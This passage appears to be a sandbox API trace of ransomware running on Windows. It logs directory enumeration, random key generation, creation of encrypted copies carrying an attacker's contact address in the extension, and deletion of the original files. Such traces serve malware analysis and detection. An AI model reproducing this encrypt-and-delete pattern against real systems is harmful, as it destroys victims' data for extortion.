ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0229.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe4d983, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe4d983, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0229.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe4d983, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe4d983, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0229.697] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0229.697] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20 [0229.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0229.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0229.698] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x9bada4*="FrameworkList.xml") returned 0x61 [0229.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.698] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe4d983, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe4d983, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1632)) returned 1 [0229.698] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d7c | out: pbBuffer=0x3671d7c) returned 1 [0229.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0229.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0229.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0229.699] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.699] GetFileType (hFile=0x334) returned 0x1 [0229.699] GetFileType (hFile=0x334) returned 0x1 [0229.699] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.699] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.700] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.700] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.700] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.700] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.700] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.700] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.705] GetFileType (hFile=0x39c) returned 0x1 [0229.705] GetFileType (hFile=0x39c) returned 0x1 [0229.705] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.705] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.705] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.705] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.705] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.706] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.706] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.708] CloseHandle (hObject=0x39c) returned 1 [0229.708] CloseHandle (hObject=0x334) returned 1 [0229.709] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 1 [0229.710] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0229.710] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.710] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0229.710] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0229.711] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0229.711] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml")) returned 0x20 [0229.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0229.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0229.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0229.712] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", lpFilePart=0x9bada4*="Client.xml") returned 0x5a [0229.712] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xda7)) returned 1 [0229.712] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367173c | out: pbBuffer=0x367173c) returned 1 [0229.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0229.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0229.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0229.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0229.713] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.713] GetFileType (hFile=0x334) returned 0x1 [0229.713] GetFileType (hFile=0x334) returned 0x1 [0229.713] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.714] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.714] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.714] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.714] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.715] GetFileType (hFile=0x39c) returned 0x1 [0229.715] GetFileType (hFile=0x39c) returned 0x1 [0229.715] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.715] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.715] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.715] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.715] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.715] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.715] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.727] CloseHandle (hObject=0x39c) returned 1 [0229.727] CloseHandle (hObject=0x334) returned 1 [0229.727] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml")) returned 0 [0229.727] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0229.729] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.729] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0229.730] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573fe702, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573fe702, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xa4000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573fe702, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573fe702, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573fe702, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573fe702, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0229.731] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57424968, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57424968, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57424968, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57424968, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57424968, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57424968, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 